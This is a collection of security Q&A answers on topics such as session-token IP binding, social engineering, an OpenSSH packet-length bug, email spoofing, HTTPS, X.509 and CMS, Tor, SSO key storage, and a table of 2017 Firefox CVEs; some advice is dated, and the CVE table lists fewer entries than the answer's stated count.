The real reason for tying the session token to the IP address is to try to prevent a user from sharing his token with all his friends. This is a commercial issue, similar to software licensing. It is normally best addressed with surveillance: instead of blocking session tokens that do not come from the same IP address as previously, you should merely log such an attempt (but still allow it), and, asynchronously, investigate situations where a token appears to be used by too many source IP addresses.


How to detect social engineering attack?

The reason that social engineering is as successful and popular as it is, is because there is no "catch all" approach to identifying a social engineer attack.

Approaches to identify social engineering attacks within an organization, typically (in my experience) involve getting the attacker to try to identify things that only a legitimate caller would know (security questions). It's debatable how secure this approach is, however it's still widely employed and used by many companies. Technologies like two factor authentication can help as well, but again these technologies rely on not having a "weak" human that can over-ride their processes.

Social Engineers will attempt to play off your emotions as a human. Most humans have a distinct nature in wanting to help those who need help, so it's common for social engineer experts to create a scenario whereby you pity them and may circumvent proper security procedures to help them. Another tactic is to get very angry and irate at someone in hopes that they'll provide the attacker what they want because most humans don't like being yelled at, and many don't like any sort of confrontation.

Perhaps the worst part is, if an attacker has done their research and knows their lingo and security questions of their would-be victim, you'd probably have no idea you had been socially engineered. Many companies have staff follow security procedures but if an attacker knows those procedures and has figured out a way to circumvent them, you'll likely find yourself out of luck


Is there any information on the impact of CVE-2016-1907 (openSSH)?

This is good question. I investigated this issue two weeks ago as it was out. This bug appeared for the first time in openssh-6.8 in refactoring commit. Basically the issue is that there was replaced function which called exit() with function only returning error value.

if (state->packlen < 1 + 4 ||
    state->packlen > PACKET_MAX_SIZE) {
#ifdef PACKET_DEBUG
    sshbuf_dump(state->input, stderr);
#endif
    logit("Bad packet length %u.", state->packlen);
    if ((r = sshpkt_disconnect(ssh, "Packet corrupt")) != 0)
        return r;
    return SSH_ERR_CONN_CORRUPT; /* <-- this line was added */
}
sshbuf_reset(state->incoming_packet);

As you can see in the context of current version (snapshot above), this branch handles wrong packet lengths (smaller than 5 B and larger than PACKET_MAX_SIZE). This condition threw error message, disconnected packet and should have return. But the sshpkt_disconnect() might have failed and at this point, the code execution would continue to the function further, handling the buffers received from the other peer as valid, without additional checks. The code is used in both server and client.

As you see, the CVSS Severity is quite lower than than the other CVE released with the same version. To successfully exploit this bug, wou would have to craft packet fitting above condition (wrong length), make sure the sshpkt_disconnect() fails (close the socket?) and blindly expect that the evil things happen.
Attack surface is much more limited and less investigated than CVE-2016-0778, where was even proof of concept with crafted server.

Also note that openSSH implements privilege separation so on server, which would give you basically just the possible code execution in the limited net child in the sandbox. On the other hand, you could use code execution on client side using crafted malicious server, but for the price of client disconnection. The user would probably be suspicious, but not the scripts (autossh, rsync jobs and similar).


emails were send from my own email address

Your email provider either has a relay open on an SMTP server or they don't use SPF or DKIM records to prevent mail from being sent as domains that use their domain name.

Another possibility is that the e-mail is not from your address but the display name of the sender has been set to your e-mail address. (FROM: "you@yourdomain.com"<fake@anotherdomain.com>) This is more often the case and can create confusion for email recipients.

My advice would be to first determine if the email actually came from your email address or if it came from a fake email address using your real email address as a display name.

If the e-mail actually came from your address, look through the headers of the email your friend received to determine where it came from. You can also use the headers to check for DKIM and use online tools like DMARC Analyzer to check to see if your email provider's domain has an SPF record. If your provider does use DKIM and/or SPF and the e-mail did come from your address, then you may want to contact your provider to see if there are any issues with third-party mass-mailing vendors who have permission to send as your email address's domain.


How and why does not having https allow people to trace my browsing habits if at home?

HTTPS is not designed to keep people from sniffing your browsing habits, and doesn't really protect you from this. Anyone able to sniff network traffic (your ISP, for example) can see https DNS and domain requests just as easily as http-- this allows visibility into what servers/IPs you have requested.

HTTPS only protects the CONTENT of the pages viewed, as well as protecting against man-in-the-middle attacks (modifications of pages on their way to you).

Protecting outsiders from sniffing your browsing habits involves other technologies such as TOR/Onion, or encrypted tunnelling/VPN.


How X509 Certificates are used for Encryption

X.509 is a format for certificates: a certificate is a sequence of bytes which contains, in a specific format, a name and a public key, over which a digital signature is computed and embedded in the certificate. The signer is a Certification Authority which asserts that the public key is indeed owned by the entity known under that name. By verifying the signature, you can make sure that the certificate is genuine, i.e. is really what the CA issued; and, that way, you gain trust in the binding of name with public key (insofar as you trust the CA for being honest and not too gullible, and as you know the CA key for signature verification, which may entail obtaining a certificate for the CA, and verifying that certificate, and so on, up to a trust anchor aka root certificate).

Thus, X.509 is a way to distribute public keys, by which I mean: a method which allows various actors (e.g. you) to know, with some guarantee of non alteration by malicious third parties (i.e. "attackers") the public keys of other actors.

OpenPGP is a standard format for a lot of things. One of the things which OpenPGP defines is a way to encode a public key along with a "name" (an email address), and a signature over these two. That's, really, a certificate in its own right (although with a format which is not compatible with X.509). But OpenPGP also defines how to use the public key of a given individual (let's call him Butch) in order to encrypt a bunch of bytes that only Butch, using his private key, will be able to decrypt. Technically, this uses a randomly generated session key, used with AES (or similar) to encrypt the raw data, and that session key is what is encrypted with the recipient's public key (generally of type RSA or ElGamal).

Therefore, for your problem, you do not want to "encrypt with X.509". X.509 defines nothing about encryption. What you want is to use a standard format which describes encryption with the recipient's public key and builds on X.509 certificates for the public key distribution. This standard format, coupled with X.509, would be an analogous to OpenPGP. This standard format exists and is called CMS (formerly known as "PKCS#7"). When CMS objects are sent by email, this becomes another layer of standard, which is called S/MIME.

CMS (or S/MIME) is what you need for asynchronous communication: you prepare a blob, to be sent later on to the recipient, like what you do with OpenPGP. If you can make a synchronous communication (sender and recipient are "online" simultaneously), then you can use SSL/TLS (or its Web counterpart HTTPS). In SSL, the server has a public key, which it sends to the client as an X.509 certificate. The client validates the certificate, then uses the public key contained therein in order to establish a session key with the server, and encrypt the data with that session key.

In any case, assembly of cryptographic algorithms into protocols is known to be hard to do correctly, nigh impossible to test for security, and fraught with perils. So don't imagine that you may build your own mix; you really should rely on an existing standard, like CMS or SSL.


What information in sent in the clear when git redirects from HTTP to HTTPS?

They should be fine, as git won't send username/password (even if stored in a preconfigured credential file), unless the web server indicates that authentication is required in order to proceed. The redirect to https happens before the server requests credentials, so at no point anything other than the path of the repository requested is being sent in the clear.


Which hard disk encryptions schemes are tied to the original hardware?

None that I know of. The standard for disk encryption is TrueCrypt, which accepts a password, key files, and smart cards as authentication credentials.

So, at worst, you could use your key files if you put them on a single drive and it fails. Of course, that should be a moot point since you're doing regular backups, right? ;)


Anonymity is not sold by the kilogram. You don't get "twice more" by wrapping Tor within Tor. For that matter, anonymity is not an extensive physical property; it does not add up.

Traffic analysis is the bane of anonymity. It works on counting bytes which enter and exit each machine. The inherent non-anonymity of Web accesses, with regards to powerful eavesdroppers (say, police forces), is not about routers or onions; it comes from user impatience. User clicks on link, then user expects the page to load immediately. Or at least within the next two or three seconds. Under these conditions, traffic analysis can only work well. Going through a lot of Tor nodes does not help much; in fact, it helps mostly insofar as it increases latency, making correlation harder. Wrapping Tor within Tor is equivalent to going through twice as many nodes (so you don't need this wrapping; you can have the same effect by configuring your client to use more nodes; but it won't solve your issue anyway).

There is a kind of immanent justice here: you gain anonymity only through suffering. Being anonymous is only for the deserving.


Creating user and safely sending password

You should NEVER send passwords in the clear. As long as your communications are encrypted (TLS), your server can hash and salt the passwords when it receives them.


Secure single page in a site if site is hacked?

The principle of SSL is that when the client browser displays https://secure.example.com/whatever.html then the URL bar in the browser shows that exact URL and the human user can be confident in the fact that what he sees is really what the server which genuinely owns the name secure.example.com decided to send at that time. This is completely unrelated to whatever happens with any other site, be it main.example.com.

And that's all.

This means that if you use an iframe then there is no URL bar, and therefore no guarantee. From the point of view of the user, when he connects to main.example.com then he sees what that server wishes him to view; if the server is under complete control of the attacker, then the user sees what the attacker wants the user to see. In particular, the attacker will not want the user to see the iframed version of https://secure.example.com/; instead, the attacker will server a picture which looks like the secure page, but is not the real thing. Since that's an iframe, the user cannot see the difference. The URL bar is the foundation of HTTPS security. Otherwise, it's just pictures, which are easily counterfeited.

There's really no salvation for a hacked site. No amount of SSL, Ajax or iframes will fix that.


Managing the public keys and certifications of S/MIME protocol

keybase.io simply allows for users of social media sites to access each others public key (if one exists for the targeted social media site).

It is not unlike GPG's 'keyserver' functionality for providing users a way to get to my public key.

The question(s) you are posing boils down to a PKI (public key infrastructure).

There are many solutions available as turn key options; however the tone and question direction indicates a possible need for a custom one-off solution (while I don't necessarily recommend it, not because you can't but because it is and can be a legal nightmare) you should do your due diligence.

First brush up on implementation for the high level functionality. Next research the nitty gritty details provided by experts in the field.

NIST PKI - A high level overview
NIST PKI Technical Specifications - Details on management of a PKI; design, implementation, configuration, recovery etc.
NIST 800-32 - The details of a PKI implementation; ciphers, key sizes, algorithms, physical, virtual security, escrow, data recovery, emergency plans for key compromise etc.

One thing about using an existing solution is the majority of the heavy lifting is already in place. However the majority of the PKI structures of old using a centralized method of PKI management has given way to the distributed methods that GPG employs which utilizes a 'circle of trust' vs. the traditional escrow type management solutions.


SSO software – where is symmetric key stored?

It depends a lot on the software and SSO protocol.  There are a wide variety of "keys" and "secrets" in play when dealing with SSO.

For the sake of contrasting different keys, consider your example of a smart card.  Usually this is used for authenticating the user.  A system would generally know about the user's public key already, and issues a challenge to the smart card which it digitally signs and returns to the sign-on system.  That system can then use the previously known public key to verify the user's digital signature.  Only the smart card can produce a valid digital signature because only it holds the private key.

SSL is not a form of SSO, but for the sake of conceptual understanding, the above is similar to how SSL works.  There are two aspects of SSL, encryption and authentication of the remote server.  Lets' just speak in terms of authentication.  When you go to stackexchange.com, how do you really know that it is not a fake server pretending to be Stack Exchange?  SSL involves the server holding the private key, and you are able to verify the digital signature it produces with that private key, because you hold the public key of the authority that issues the certificate(such as Verisign, which is installed in your browser).  There's a lot more to it, but usually on the server side you install your private key certificate into a certificate store which is only accessible by administrators with sufficient access to the server.  The actual implementation of a certificate store is dependent on the operating system we are talking about.

(While I stated SSL is not SSO, it is often used are part of the SSO process to secure communication between parties.)

In SSO, often there are 3 parties involved.  The user who wants to login, the server who knows who that user is, and the server who wants to verify that user's identity(the server the user wants to log in to).  Depending on the particular SSO implementation, one or both servers may store one or more shared secrets that are used in the process to allow the servers to verify that one-another are authenticate, or sometimes used as part of a key generation process to establish an encrypted connection.

I say all this to emphasize that there is not always a stored symmetric key.  Some processes use asymmetric keys to generate a symmetric key on the fly, so you don't have to store a symmetric key.  Some process use a shared secret as part of a hash to generate a post from the user, which prevents tampering with the post.  In such an SSO scheme there may be no need for a symmetric key at all.

Where are symmetric keys stored?

Often times if you are the programmer implementing one side of an SSO process, then it is up to you how you store shared secrets and/or keys. It is often best to do so in a way the minimizes any potential access from employees. Follow the best practices of your platform.  For example, if certificates are involved, then store them in the OS's certificate store and ensure only the most minimum number of employees have permissions to that certificate store.  Ensure your server's are physically secure.  There are a lot of best practices that assume your servers are physically secure.  Unfortunately there is no perfect answer when it comes to securing keys on a server, because usually the software involved in the SSO process at some point has to access the key as part of the process, meaning the software must have permission to access the key.  Keys/certificates can be encrypted with a password, but every time the server restarts you'd have to re-enter the password.

C# apps, for example, provide ways to encrypt configuration data, where you could store such keys.  But the encryption uses another key stored on the local machine, so anyone with sufficient permissions to the machine, and/or physical access, can with enough effort decrypt that config and get the shared secrets.

Hardware Security Modules (HSM)

I do not know much about these, but the idea is that the key is stored in this piece of hardware, and does not expose the key through any network interface.  Instead you send requests to the HSM for the steps which involve the key, and it performs whatever crypto processing is necessary and returns the result.  For example, during SSL when the certificate's private key is used to generate a session key.  It is usually in the form of a rack mount piece of hardware, or some sort of PCI card.  The impression I get is they are only useful for certain functions, since they have to perform all of the cryptography functions, then if you are doing something custom this probably won't work for you.

Very similar in concept to a smart card, in that the key never leaves the device and performs the request crypto operation.  But of course providing many more functions besides just signing, and usually with alot of additional security features as well as accelerated performance.  That is based purely on what I have read about them though, so don't consider that an endorsement.  In theory though they sound like a great idea and seems like mission critical operations like banks/finance use them.


Has Firefox become bugless or where are the Firefox CVEs for 2017?

Canonical Solution
According to Security Advisories for Firefox, there were 182 security vulnerabilities that were fixed in 2017.
List of Firefox CVEs (Fixed) - 2017:
* --------------------------------------------------------------------------------------------------- *
| #   | CVE Identifier | Source                                                                       |
| --------------------------------------------------------------------------------------------------- |
| 1   | CVE-2017-5373  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5373 |
| 2   | CVE-2017-5374  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5374 |
| 3   | CVE-2017-5375  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5375 |
| 4   | CVE-2017-5376  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5376 |
| 5   | CVE-2017-5377  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5377 |
| 6   | CVE-2017-5378  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5378 |
| 7   | CVE-2017-5379  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5379 |
| 8   | CVE-2017-5380  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5380 |
| 9   | CVE-2017-5381  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5381 |
| 10  | CVE-2017-5382  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5382 |
| 11  | CVE-2017-5383  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5383 |
| 12  | CVE-2017-5384  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5384 |
| 13  | CVE-2017-5385  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5385 |
| 14  | CVE-2017-5386  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5386 |
| 15  | CVE-2017-5387  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5387 |
| 16  | CVE-2017-5388  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5388 |
| 17  | CVE-2017-5389  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5389 |
| 18  | CVE-2017-5390  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5390 |
| 19  | CVE-2017-5391  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5391 |
| 20  | CVE-2017-5392  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5392 |
| 21  | CVE-2017-5393  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5393 |
| 22  | CVE-2017-5394  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5394 |
| 23  | CVE-2017-5395  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5395 |
| 24  | CVE-2017-5396  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/#CVE-2017-5396 |
| 25  | CVE-2017-5397  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-04/#CVE-2017-5397 |
| 26  | CVE-2017-5398  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5398 |
| 27  | CVE-2017-5399  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5399 |
| 28  | CVE-2017-5400  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5400 |
| 29  | CVE-2017-5401  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5401 |
| 30  | CVE-2017-5402  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5402 |
| 31  | CVE-2017-5403  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5403 |
| 32  | CVE-2017-5404  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5404 |
| 33  | CVE-2017-5405  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5405 |
| 34  | CVE-2017-5406  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5406 |
| 35  | CVE-2017-5407  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5407 |
| 36  | CVE-2017-5408  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5408 |
| 37  | CVE-2017-5409  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5409 |
| 38  | CVE-2017-5410  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5410 |
| 39  | CVE-2017-5411  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5411 |
| 40  | CVE-2017-5412  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5412 |
| 41  | CVE-2017-5413  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5413 |
| 42  | CVE-2017-5414  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5414 |
| 43  | CVE-2017-5415  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5415 |
| 44  | CVE-2017-5416  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5416 |
| 45  | CVE-2017-5417  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5417 |
| 46  | CVE-2017-5418  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5418 |
| 47  | CVE-2017-5419  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5419 |
| 48  | CVE-2017-5420  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5420 |
| 49  | CVE-2017-5421  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5421 |
| 50  | CVE-2017-5422  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5422 |
| 51  | CVE-2017-5425  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5425 |
| 52  | CVE-2017-5426  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5426 |
| 53  | CVE-2017-5427  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5427 |
| 54  | CVE-2017-5428  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-08/#CVE-2017-5428 |
| 55  | CVE-2017-5429  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5429 |
| 56  | CVE-2017-5430  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5430 |
| 57  | CVE-2017-5432  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5432 |
| 58  | CVE-2017-5433  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5433 |
| 59  | CVE-2017-5434  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5434 |
| 60  | CVE-2017-5435  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5435 |
| 61  | CVE-2017-5436  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5436 |
| 62  | CVE-2017-5438  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5438 |
| 63  | CVE-2017-5439  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5439 |
| 64  | CVE-2017-5440  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5440 |
| 65  | CVE-2017-5441  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5441 |
| 66  | CVE-2017-5442  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5442 |
| 67  | CVE-2017-5443  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5443 |
| 68  | CVE-2017-5444  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5444 |
| 69  | CVE-2017-5445  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5445 |
| 70  | CVE-2017-5446  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5446 |
| 71  | CVE-2017-5447  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5447 |
| 72  | CVE-2017-5448  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5448 |
| 73  | CVE-2017-5449  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5449 |
| 74  | CVE-2017-5450  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5450 |
| 75  | CVE-2017-5451  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5451 |
| 76  | CVE-2017-5452  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5452 |
| 77  | CVE-2017-5453  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5453 |
| 78  | CVE-2017-5454  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5454 |
| 79  | CVE-2017-5455  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5455 |
| 80  | CVE-2017-5456  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5456 |
| 81  | CVE-2017-5458  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5458 |
| 82  | CVE-2017-5459  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5459 |
| 83  | CVE-2017-5460  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5460 |
| 84  | CVE-2017-5461  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5461 |
| 85  | CVE-2017-5462  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5462 |
| 86  | CVE-2017-5463  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5463 |
| 87  | CVE-2017-5464  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5464 |
| 88  | CVE-2017-5465  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5465 |
| 89  | CVE-2017-5466  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5466 |
| 90  | CVE-2017-5467  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5467 |
| 91  | CVE-2017-5468  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5468 |
| 92  | CVE-2017-5469  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-10/#CVE-2017-5469 |
| 93  | CVE-2017-5031  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-14/#CVE-2017-5031 |
| 94  | CVE-2017-5470  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-5470 |
| 95  | CVE-2017-5471  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-5471 |
| 96  | CVE-2017-5472  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-5472 |
| 97  | CVE-2017-7749  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7749 |
| 98  | CVE-2017-7750  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7750 |
| 99  | CVE-2017-7751  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7751 |
| 100 | CVE-2017-7752  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7752 |
| 101 | CVE-2017-7754  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7754 |
| 102 | CVE-2017-7755  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7755 |
| 103 | CVE-2017-7756  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7756 |
| 104 | CVE-2017-7757  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7757 |
| 105 | CVE-2017-7758  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7758 |
| 106 | CVE-2017-7759  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7759 |
| 107 | CVE-2017-7760  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7760 |
| 108 | CVE-2017-7761  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7761 |
| 109 | CVE-2017-7762  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7762 |
| 110 | CVE-2017-7763  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7763 |
| 111 | CVE-2017-7764  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7764 |
| 112 | CVE-2017-7765  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7765 |
| 113 | CVE-2017-7766  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7766 |
| 114 | CVE-2017-7767  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7767 |
| 115 | CVE-2017-7768  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7768 |
| 116 | CVE-2017-7770  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7770 |
| 117 | CVE-2017-7778  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-15/#CVE-2017-7778 |
| 118 | CVE-2017-7753  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7753 |
| 119 | CVE-2017-7779  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7779 |
| 120 | CVE-2017-7780  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7780 |
| 121 | CVE-2017-7781  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7781 |
| 122 | CVE-2017-7782  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7782 |
| 123 | CVE-2017-7783  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783 |
| 124 | CVE-2017-7784  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7784 |
| 125 | CVE-2017-7785  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7785 |
| 126 | CVE-2017-7786  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7786 |
| 127 | CVE-2017-7787  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7787 |
| 128 | CVE-2017-7788  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7788 |
| 129 | CVE-2017-7789  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7789 |
| 130 | CVE-2017-7790  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7790 |
| 131 | CVE-2017-7791  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7791 |
| 132 | CVE-2017-7792  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7792 |
| 133 | CVE-2017-7794  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7794 |
| 134 | CVE-2017-7796  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7796 |
| 135 | CVE-2017-7797  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7797 |
| 136 | CVE-2017-7798  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7798 |
| 137 | CVE-2017-7799  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7799 |
| 138 | CVE-2017-7800  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7800 |
| 139 | CVE-2017-7801  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7801 |
| 140 | CVE-2017-7802  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7802 |
| 141 | CVE-2017-7803  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7803 |
| 142 | CVE-2017-7804  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7804 |
| 143 | CVE-2017-7806  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7806 |
| 144 | CVE-2017-7807  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7807 |
| 145 | CVE-2017-7808  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7808 |
| 146 | CVE-2017-7809  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7809 |
| 147 | CVE-2017-7793  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7793 |
| 148 | CVE-2017-7805  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7805 |
| 149 | CVE-2017-7810  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7810 |
| 150 | CVE-2017-7811  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7811 |
| 151 | CVE-2017-7812  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7812 |
| 152 | CVE-2017-7813  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7813 |
